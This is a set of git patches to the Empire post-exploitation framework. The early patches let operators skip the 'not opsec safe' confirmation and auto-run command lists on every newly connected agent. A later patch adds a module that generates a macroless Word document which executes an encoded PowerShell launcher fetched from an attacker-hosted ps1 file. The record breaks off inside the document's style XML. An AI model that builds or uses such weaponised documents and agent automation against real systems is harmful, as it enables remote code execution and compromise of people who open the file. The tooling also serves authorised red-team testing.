-        # if the module isn't opsec safe, prompt before running
-        if ('OpsecSafe' in self.module.info) and (not self.module.info['OpsecSafe']):
+        # if the module isn't opsec safe, prompt before running (unless "execute noprompt" was issued)
+        if prompt and ('OpsecSafe' in self.module.info) and (not self.module.info['OpsecSafe']):
+
             try:
                 choice = raw_input(helpers.color("[>] Module is not opsec safe, run? [y/N] ", "red"))
                 if not (choice.lower() != "" and choice.lower()[0] == "y"):
@@ -3227,7 +3254,11 @@ class ModuleMenu(SubMenu):
     def do_execute(self, line):
         "Execute the given Empire module."
 
-        if not self.validate_options():
+	prompt = True
+	if line == "noprompt":
+	    prompt = False
+
+        if not self.validate_options(prompt):
             return
 
         if self.moduleName.lower().startswith('external/'):

From e38662b38497b7481d0e937454405fba97a8d896 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Mon, 16 Oct 2017 12:55:09 -0600
Subject: [PATCH 16/50] specify the agent language for the autorun, powershell
 or python for example

---
 lib/common/agents.py |  2 +-
 lib/common/empire.py | 48 +++++++++++++++++++++++++++++++++++---------
 2 files changed, 39 insertions(+), 11 deletions(-)

diff --git a/lib/common/agents.py b/lib/common/agents.py
index 351d162..329f1c6 100644
--- a/lib/common/agents.py
+++ b/lib/common/agents.py
@@ -1345,7 +1345,7 @@ class Agents:
 
 	    if len(self.mainMenu.autoRuns) > 0:
 		autorunCmds = ["interact %s" % sessionID]
-		autorunCmds.extend(self.mainMenu.autoRuns)
+		autorunCmds.extend(self.mainMenu.autoRuns[language.lower()])
 		autorunCmds.extend(["lastautoruncmd"])
 		self.mainMenu.resourceQueue.extend(autorunCmds)
 		try:
diff --git a/lib/common/empire.py b/lib/common/empire.py
index 1ff1ccb..ae3dff4 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -94,7 +94,8 @@ class MainMenu(cmd.Cmd):
         self.modules = modules.Modules(self, args=args)
         self.listeners = listeners.Listeners(self, args=args)
         self.resourceQueue = []
-	self.autoRuns = []
+	#A hashtable of autruns based on agent language
+	self.autoRuns = {}
 
         self.handle_args()
 
@@ -988,19 +989,46 @@ class AgentsMenu(SubMenu):
         "Go back to the main menu."
         raise NavMain()
 
-    def do_autorun(self, arg):
-	"Read and execute a list of Empire commands from a file and execute on each new agent. Or clear any autorun setting with \"autorun clear\" and show current autorun settings with \"autorun show\""	
-	if arg == "show":
-	    print self.mainMenu.autoRuns
-	elif arg == "clear":
-	    self.mainMenu.autoRuns = []
+    def do_autorun(self, line):
+	"Read and execute a list of Empire commands from a file and execute on each new agent \"autorun <resource file> <agent language>\" e.g. \"autorun /root/ps.rc powershell\". Or clear any autorun setting with \"autorun clear\" and show current autorun settings with \"autorun show\""
+	line = line.strip()
+        if not line:
+	    print helpers.color("[!] You must specify a resource file, show or clear. e.g. 'autorun /root/res.rc powershell' or 'autorun clear'")
+	    return
+	cmds = line.split(' ')
+	resourceFile = cmds[0]
+	language = None
+        if len(cmds) > 1:
+	    language = cmds[1]
+	elif not resourceFile == "show" and not resourceFile == "clear":
+	    print helpers.color("[!] You must specify the agent language to run this module on. e.g. 'autorun /root/res.rc powershell' or 'autorun /root/res.rc pythono'")
+	    return
+	#show the current autorun settings by language or all
+	if resourceFile == "show":
+	    if language:
+		if self.mainMenu.autoRuns.has_key(language):
+		    print self.mainMenu.autoRuns[language]
+		else:
+		    print "No autorun commands for language %s" % language
+	    else:
+	        print self.mainMenu.autoRuns
+	#clear autorun settings by language or all
+	elif resourceFile == "clear":
+	    if language and not language == "all":
+		if self.mainMenu.autoRuns.has_key(language):
+		    self.mainMenu.autoRuns.pop(language)
+		else:
+		    print "No autorun commands for language %s" % language
+	    else:
+		#clear all autoruns
+		self.mainMenu.autoRuns.clear()
+	#read in empire commands from the specified resource file
 	else:
-	    self.mainMenu.autoRuns = []
-	    with open(arg) as f:
+	    with open(resourceFile) as f:
 	        cmds = f.read().splitlines()
 	    #don't prompt for user confirmation when running autorun commands
 	    noPromptCmds = [cmd + " noprompt" if cmd == "execute" else cmd for cmd in cmds]
-	    self.mainMenu.autoRuns.extend(noPromptCmds)
+	    self.mainMenu.autoRuns[language] = noPromptCmds
 
 
     def do_list(self, line):

From 21e56bcc3e6128122c93bcff608cc40d29408eb8 Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Mon, 16 Oct 2017 14:04:30 -0600
Subject: [PATCH 17/50] make sure autorun exists for agent language

---
 lib/common/agents.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/common/agents.py b/lib/common/agents.py
index 329f1c6..1604fb6 100644
--- a/lib/common/agents.py
+++ b/lib/common/agents.py
@@ -1343,7 +1343,7 @@ class Agents:
             if autorun and autorun[0] != '' and autorun[1] != '':
                 self.add_agent_task_db(sessionID, autorun[0], autorun[1])
 
-	    if len(self.mainMenu.autoRuns) > 0:
+	    if self.mainMenu.autoRuns.has_key(language.lower()) and len(self.mainMenu.autoRuns[language.lower()]) > 0:
 		autorunCmds = ["interact %s" % sessionID]
 		autorunCmds.extend(self.mainMenu.autoRuns[language.lower()])
 		autorunCmds.extend(["lastautoruncmd"])

From 7e56e552a6acdec1eff396ac8a0c0156615c91dc Mon Sep 17 00:00:00 2001
From: Carrie Roberts <@OrOneEqualsOne>
Date: Mon, 16 Oct 2017 16:28:19 -0600
Subject: [PATCH 18/50] typo correction

---
 lib/common/empire.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index ae3dff4..dc9e16a 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -999,9 +999,9 @@ class AgentsMenu(SubMenu):
 	resourceFile = cmds[0]
 	language = None
         if len(cmds) > 1:
-	    language = cmds[1]
+	    language = cmds[1].lower()
 	elif not resourceFile == "show" and not resourceFile == "clear":
-	    print helpers.color("[!] You must specify the agent language to run this module on. e.g. 'autorun /root/res.rc powershell' or 'autorun /root/res.rc pythono'")
+	    print helpers.color("[!] You must specify the agent language to run this module on. e.g. 'autorun /root/res.rc powershell' or 'autorun /root/res.rc python'")
 	    return
 	#show the current autorun settings by language or all
 	if resourceFile == "show":

From 04e522700ff63f63e0972b70b270554ee125185e Mon Sep 17 00:00:00 2001
From: root <root@localhost.localdomain>
Date: Tue, 17 Oct 2017 09:59:40 -0400
Subject: [PATCH 19/50] pushing module for macroless code exec

---
 .../exploit/fileformat/macroless_msword.py    | 190 ++++++++++++++++++
 1 file changed, 190 insertions(+)
 create mode 100644 lib/modules/python/exploit/fileformat/macroless_msword.py

diff --git a/lib/modules/python/exploit/fileformat/macroless_msword.py b/lib/modules/python/exploit/fileformat/macroless_msword.py
new file mode 100644
index 0000000..62ccd85
--- /dev/null
+++ b/lib/modules/python/exploit/fileformat/macroless_msword.py
@@ -0,0 +1,190 @@
+# -*- coding: utf-8 -*-
+from lib.common import helpers
+import os
+
+class Module:
+
+    def __init__(self, mainMenu, params=[]):
+
+        # metadata info about the module, not modified during runtime
+        self.info = {
+            'Name': 'Macroless code execution in MSWord',
+
+            'Author': ['james fitts'],
+
+            'Description': ('Creates a macroless document utilizing a formula field for code execution'),
+
+            'Background' : False,
+
+            'OutputExtension' : "",
+
+            'NeedsAdmin' : False,
+
+            'OpsecSafe' : False,
+
+            'Language' : 'python',
+
+            'MinLanguageVersion' : '2.7',
+
+            'Comments': ["Hard work by Etienne Stalmas and Saif El-Sherei"]
+        }
+
+        # any options needed by the module, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Agent' : {
+                # The 'Agent' option is the only one that MUST be in a module
+                'Description'   :   'Agent to execute on.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'Listener' : {
+                'Description'   :   'Listener to use for the payload.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+						'OutputPs1' : {
+								'Description'		:		'PS1 file to execute against the target.',
+								'Required'			:		True,
+								'Value'					:		'default.ps1'
+						},
+						'OutputDocx' : {
+								'Description'		:		'MSOffice document name.',
+								'Required'			:		True,
+								'Value'					:		'empire.docx'
+						},
+						'OutputPath' : {
+								'Description'		:		'Output path for the files.',
+								'Required'			:		True,
+								'Value'					:		'/tmp/'
+						},
+						'HostURL' : {
+								'Description'		:		'IP address to host the malicious ps1 file.',
+								'Required'			:		True,
+								'Value'					:		'http://192.168.1.1:80'
+						}
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+
+        # During instantiation, any settable option parameters
+        #   are passed as an object set to the module and the
+        #   options dictionary is automatically set. This is mostly
+        #   in case options are passed on the command line
+        if params:
+            for param in params:
+                # parameter format is [Name, Value]
+                option, value = param
+                if option in self.options:
+                    self.options[option]['Value'] = value
+
+    def generate(self, obfuscate=False, obfuscationCommand=""):
+
+			listener = self.options['Listener']['Value']
+			output_path = self.options['OutputPath']['Value']
+			output_docx = self.options['OutputDocx']['Value']
+			host = self.options['HostURL']['Value']
+			ps1 = self.options['OutputPs1']['Value']
+
+			if not self.mainMenu.listeners.is_listener_valid(listener):
+				print helpers.color("[!] Invalide listener: " + listener)
+				return ""
+			else:
+				launcher = self.mainMenu.stagers.generate_launcher(listener, language='powershell', encode=True)
+
+			def create_directory_structure(outdir):
+				os.makedirs(outdir + "_rels")
+				os.makedirs(outdir + "docProps")
+				os.makedirs(outdir + "word")
+				os.makedirs(outdir + "word/_rels")
+				os.makedirs(outdir + "word/theme")
+
+			def create_files(outdir):
+				content_types = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>"""
+				
+				f = open(outdir + "[Content_Types].xml", 'w')
+				f.write(content_types)
+
+				hidden_rels = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>"""
+
+				f = open(outdir + "_rels/.rels", 'w')
+				f.write(hidden_rels)
+
+				docProps_app = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>2</TotalTime><Pages>1</Pages><Words>12</Words><Characters>70</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="2" baseType="variant"><vt:variant><vt:lpstr>Title</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="1" baseType="lpstr"><vt:lpstr></vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>81</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>16.0000</AppVersion></Properties>"""
+				f = open(outdir + "docProps/app.xml", 'w')
+				f.write(docProps_app)
+
+				docProps_core = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title></dc:title><dc:subject></dc:subject><dc:creator>Administrator</dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy>Administrator</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2017-10-11T12:49:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2017-10-11T12:51:00Z</dcterms:modified></cp:coreProperties>"""
+
+				f = open(outdir + "docProps/core.xml", 'w')
+				f.write(docProps_core)
+
+				word_rels = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/></Relationships>"""
+				f = open(outdir + "word/_rels/document.xml.rels", 'w')
+				f.write(word_rels)
+
+				word_theme = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<a:theme xmlns:a=\"http://schemas.openxmlformats.org/drawingml/2006/main\" name=\"Office Theme\"><a:themeElements><a:clrScheme name=\"Office\"><a:dk1><a:sysClr val=\"windowText\" lastClr=\"000000\"/></a:dk1><a:lt1><a:sysClr val=\"window\" lastClr=\"FFFFFF\"/></a:lt1><a:dk2><a:srgbClr val=\"44546A\"/></a:dk2><a:lt2><a:srgbClr val=\"E7E6E6\"/></a:lt2><a:accent1><a:srgbClr val=\"5B9BD5\"/></a:accent1><a:accent2><a:srgbClr val=\"ED7D31\"/></a:accent2><a:accent3><a:srgbClr val=\"A5A5A5\"/></a:accent3><a:accent4><a:srgbClr val=\"FFC000\"/></a:accent4><a:accent5><a:srgbClr val=\"4472C4\"/></a:accent5><a:accent6><a:srgbClr val=\"70AD47\"/></a:accent6><a:hlink><a:srgbClr val=\"0563C1\"/></a:hlink><a:folHlink><a:srgbClr val=\"954F72\"/></a:folHlink></a:clrScheme><a:fontScheme name=\"Office\"><a:majorFont><a:latin typeface=\"Calibri Light\" panose=\"020F0302020204030204\"/><a:ea typeface=\"\"/><a:cs typeface=\"\"/><a:font script=\"Jpan\" typeface=\"游ゴシック Light\"/><a:font script=\"Hang\" typeface=\"맑은 고딕\"/><a:font script=\"Hans\" typeface=\"等线 Light\"/><a:font script=\"Hant\" typeface=\"新細明體\"/><a:font script=\"Arab\" typeface=\"Times New Roman\"/><a:font script=\"Hebr\" typeface=\"Times New Roman\"/><a:font script=\"Thai\" typeface=\"Angsana New\"/><a:font script=\"Ethi\" typeface=\"Nyala\"/><a:font script=\"Beng\" typeface=\"Vrinda\"/><a:font script=\"Gujr\" typeface=\"Shruti\"/><a:font script=\"Khmr\" typeface=\"MoolBoran\"/><a:font script=\"Knda\" typeface=\"Tunga\"/><a:font script=\"Guru\" typeface=\"Raavi\"/><a:font script=\"Cans\" typeface=\"Euphemia\"/><a:font script=\"Cher\" typeface=\"Plantagenet Cherokee\"/><a:font script=\"Yiii\" typeface=\"Microsoft Yi Baiti\"/><a:font script=\"Tibt\" typeface=\"Microsoft Himalaya\"/><a:font script=\"Thaa\" typeface=\"MV Boli\"/><a:font script=\"Deva\" typeface=\"Mangal\"/><a:font script=\"Telu\" typeface=\"Gautami\"/><a:font script=\"Taml\" typeface=\"Latha\"/><a:font script=\"Syrc\" typeface=\"Estrangelo Edessa\"/><a:font script=\"Orya\" typeface=\"Kalinga\"/><a:font script=\"Mlym\" typeface=\"Kartika\"/><a:font script=\"Laoo\" typeface=\"DokChampa\"/><a:font script=\"Sinh\" typeface=\"Iskoola Pota\"/><a:font script=\"Mong\" typeface=\"Mongolian Baiti\"/><a:font script=\"Viet\" typeface=\"Times New Roman\"/><a:font script=\"Uigh\" typeface=\"Microsoft Uighur\"/><a:font script=\"Geor\" typeface=\"Sylfaen\"/></a:majorFont><a:minorFont><a:latin typeface=\"Calibri\" panose=\"020F0502020204030204\"/><a:ea typeface=\"\"/><a:cs typeface=\"\"/><a:font script=\"Jpan\" typeface=\"游明朝\"/><a:font script=\"Hang\" typeface=\"맑은 고딕\"/><a:font script=\"Hans\" typeface=\"等线\"/><a:font script=\"Hant\" typeface=\"新細明體\"/><a:font script=\"Arab\" typeface=\"Arial\"/><a:font script=\"Hebr\" typeface=\"Arial\"/><a:font script=\"Thai\" typeface=\"Cordia New\"/><a:font script=\"Ethi\" typeface=\"Nyala\"/><a:font script=\"Beng\" typeface=\"Vrinda\"/><a:font script=\"Gujr\" typeface=\"Shruti\"/><a:font script=\"Khmr\" typeface=\"DaunPenh\"/><a:font script=\"Knda\" typeface=\"Tunga\"/><a:font script=\"Guru\" typeface=\"Raavi\"/><a:font script=\"Cans\" typeface=\"Euphemia\"/><a:font script=\"Cher\" typeface=\"Plantagenet Cherokee\"/><a:font script=\"Yiii\" typeface=\"Microsoft Yi Baiti\"/><a:font script=\"Tibt\" typeface=\"Microsoft Himalaya\"/><a:font script=\"Thaa\" typeface=\"MV Boli\"/><a:font script=\"Deva\" typeface=\"Mangal\"/><a:font script=\"Telu\" typeface=\"Gautami\"/><a:font script=\"Taml\" typeface=\"Latha\"/><a:font script=\"Syrc\" typeface=\"Estrangelo Edessa\"/><a:font script=\"Orya\" typeface=\"Kalinga\"/><a:font script=\"Mlym\" typeface=\"Kartika\"/><a:font script=\"Laoo\" typeface=\"DokChampa\"/><a:font script=\"Sinh\" typeface=\"Iskoola Pota\"/><a:font script=\"Mong\" typeface=\"Mongolian Baiti\"/><a:font script=\"Viet\" typeface=\"Arial\"/><a:font script=\"Uigh\" typeface=\"Microsoft Uighur\"/><a:font script=\"Geor\" typeface=\"Sylfaen\"/></a:minorFont></a:fontScheme><a:fmtScheme name=\"Office\"><a:fillStyleLst><a:solidFill><a:schemeClr val=\"phClr\"/></a:solidFill><a:gradFill rotWithShape=\"1\"><a:gsLst><a:gs pos=\"0\"><a:schemeClr val=\"phClr\"><a:lumMod val=\"110000\"/><a:satMod val=\"105000\"/><a:tint val=\"67000\"/></a:schemeClr></a:gs><a:gs pos=\"50000\"><a:schemeClr val=\"phClr\"><a:lumMod val=\"105000\"/><a:satMod val=\"103000\"/><a:tint val=\"73000\"/></a:schemeClr></a:gs><a:gs pos=\"100000\"><a:schemeClr val=\"phClr\"><a:lumMod val=\"105000\"/><a:satMod val=\"109000\"/><a:tint val=\"81000\"/></a:schemeClr></a:gs></a:gsLst><a:lin ang=\"5400000\" scaled=\"0\"/></a:gradFill><a:gradFill rotWithShape=\"1\"><a:gsLst><a:gs pos=\"0\"><a:schemeClr val=\"phClr\"><a:satMod val=\"103000\"/><a:lumMod val=\"102000\"/><a:tint val=\"94000\"/></a:schemeClr></a:gs><a:gs pos=\"50000\"><a:schemeClr val=\"phClr\"><a:satMod val=\"110000\"/><a:lumMod val=\"100000\"/><a:shade val=\"100000\"/></a:schemeClr></a:gs><a:gs pos=\"100000\"><a:schemeClr val=\"phClr\"><a:lumMod val=\"99000\"/><a:satMod val=\"120000\"/><a:shade val=\"78000\"/></a:schemeClr></a:gs></a:gsLst><a:lin ang=\"5400000\" scaled=\"0\"/></a:gradFill></a:fillStyleLst><a:lnStyleLst><a:ln w=\"6350\" cap=\"flat\" cmpd=\"sng\" algn=\"ctr\"><a:solidFill><a:schemeClr val=\"phClr\"/></a:solidFill><a:prstDash val=\"solid\"/><a:miter lim=\"800000\"/></a:ln><a:ln w=\"12700\" cap=\"flat\" cmpd=\"sng\" algn=\"ctr\"><a:solidFill><a:schemeClr val=\"phClr\"/></a:solidFill><a:prstDash val=\"solid\"/><a:miter lim=\"800000\"/></a:ln><a:ln w=\"19050\" cap=\"flat\" cmpd=\"sng\" algn=\"ctr\"><a:solidFill><a:schemeClr val=\"phClr\"/></a:solidFill><a:prstDash val=\"solid\"/><a:miter lim=\"800000\"/></a:ln></a:lnStyleLst><a:effectStyleLst><a:effectStyle><a:effectLst/></a:effectStyle><a:effectStyle><a:effectLst/></a:effectStyle><a:effectStyle><a:effectLst><a:outerShdw blurRad=\"57150\" dist=\"19050\" dir=\"5400000\" algn=\"ctr\" rotWithShape=\"0\"><a:srgbClr val=\"000000\"><a:alpha val=\"63000\"/></a:srgbClr></a:outerShdw></a:effectLst></a:effectStyle></a:effectStyleLst><a:bgFillStyleLst><a:solidFill><a:schemeClr val=\"phClr\"/></a:solidFill><a:solidFill><a:schemeClr val=\"phClr\"><a:tint val=\"95000\"/><a:satMod val=\"170000\"/></a:schemeClr></a:solidFill><a:gradFill rotWithShape=\"1\"><a:gsLst><a:gs pos=\"0\"><a:schemeClr val=\"phClr\"><a:tint val=\"93000\"/><a:satMod val=\"150000\"/><a:shade val=\"98000\"/><a:lumMod val=\"102000\"/></a:schemeClr></a:gs><a:gs pos=\"50000\"><a:schemeClr val=\"phClr\"><a:tint val=\"98000\"/><a:satMod val=\"130000\"/><a:shade val=\"90000\"/><a:lumMod val=\"103000\"/></a:schemeClr></a:gs><a:gs pos=\"100000\"><a:schemeClr val=\"phClr\"><a:shade val=\"63000\"/><a:satMod val=\"120000\"/></a:schemeClr></a:gs></a:gsLst><a:lin ang=\"5400000\" scaled=\"0\"/></a:gradFill></a:bgFillStyleLst></a:fmtScheme></a:themeElements><a:objectDefaults/><a:extraClrSchemeLst/><a:extLst><a:ext uri=\"{05A4C25C-085E-4340-85A3-A5531E510DB2}\"><thm15:themeFamily xmlns:thm15=\"http://schemas.microsoft.com/office/thememl/2012/main\" name=\"Office Theme\" id=\"{62F939B6-93AF-4DB8-9C6B-D6C7DFDC589F}\" vid=\"{4A3C46E8-61CC-4603-A589-7422A47A8E4A}\"/></a:ext></a:extLst></a:theme>"""
+
+				f = open(outdir + "word/theme/theme1.xml", 'w')
+				f.write(word_theme)
+
+				font_table = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<w:fonts xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" mc:Ignorable="w14 w15 w16se"><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="E00002FF" w:usb1="4000ACFF" w:usb2="00000001" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002AFF" w:usb1="C0007843" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Calibri Light"><w:panose1 w:val="020F0302020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="A00002EF" w:usb1="4000207B" w:usb2="00000000" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font></w:fonts>"""
+
+				f = open(outdir + "word/fontTable.xml", 'w')
+				f.write(font_table)
+
+				settings = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<w:settings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" mc:Ignorable="w14 w15 w16se"><w:zoom w:percent="100"/><w:proofState w:spelling="clean" w:grammar="clean"/><w:defaultTabStop w:val="720"/><w:characterSpacingControl w:val="doNotCompress"/><w:compat><w:compatSetting w:name="compatibilityMode" w:uri="http://schemas.microsoft.com/office/word" w:val="15"/><w:compatSetting w:name="overrideTableStyleFontSizeAndJustification" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="enableOpenTypeFeatures" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="doNotFlipMirrorIndents" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="differentiateMultirowTableHeaders" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/></w:compat><w:rsids><w:rsidRoot w:val="0053626A"/><w:rsid w:val="0053626A"/><w:rsid w:val="00655D12"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="0"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:themeFontLang w:val="en-US"/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:shapeDefaults><o:shapedefaults v:ext="edit" spidmax="1026"/><o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout></w:shapeDefaults><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/><w14:docId w14:val="141885FD"/><w15:chartTrackingRefBased/><w15:docId w15:val="{38929109-908E-4ED7-9F88-CD8CCF49BF84}"/></w:settings>"""
+
+				f = open(outdir + "word/settings.xml", 'w')
+				f.write(settings)
+
+				styles = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<w:styles xmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\" xmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\" xmlns:w14=\"http://schemas.microsoft.com/office/word/2010/wordml\" xmlns:w15=\"http://schemas.microsoft.com/office/word/2012/wordml\" xmlns:w16se=\"http://schemas.microsoft.com/office/word/2015/wordml/symex\" mc:Ignorable=\"w14 w15 w16se\"><w:docDefaults><w:rPrDefault><w:rPr><w:rFonts w:asciiTheme=\"minorHAnsi\" w:eastAsiaTheme=\"minorHAnsi\" w:hAnsiTheme=\"minorHAnsi\" w:cstheme=\"minorBidi\"/><w:sz w:val=\"22\"/><w:szCs w:val=\"22\"/><w:lang w:val=\"en-US\" w:eastAsia=\"en-US\" w:bidi=\"ar-SA\"/></w:rPr></w:rPrDefault><w:pPrDefault><w:pPr><w:spacing w:after=\"160\" w:line=\"259\" w:lineRule=\"auto\"/></w:pPr></w:pPrDefault></w:docDefaults><w:latentStyles w:defLockedState=\"0\" w:defUIPriority=\"99\" w:defSemiHidden=\"0\" w:defUnhideWhenUsed=\"0\" w:defQFormat=\"0\" w:count=\"371\"><w:lsdException w:name=\"Normal\" w:uiPriority=\"0\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 1\" w:uiPriority=\"9\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 2\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 3\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 4\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 5\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 6\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 7\" w:semiHidden=\"1\" w:uiPriority=\"9\" w:unhideWhenUsed=\"1\" w:qFormat=\"1\"/><w:lsdException w:name=\"heading 8\" w:semiHidden=\"1\" w:uiPriority=\"9\" 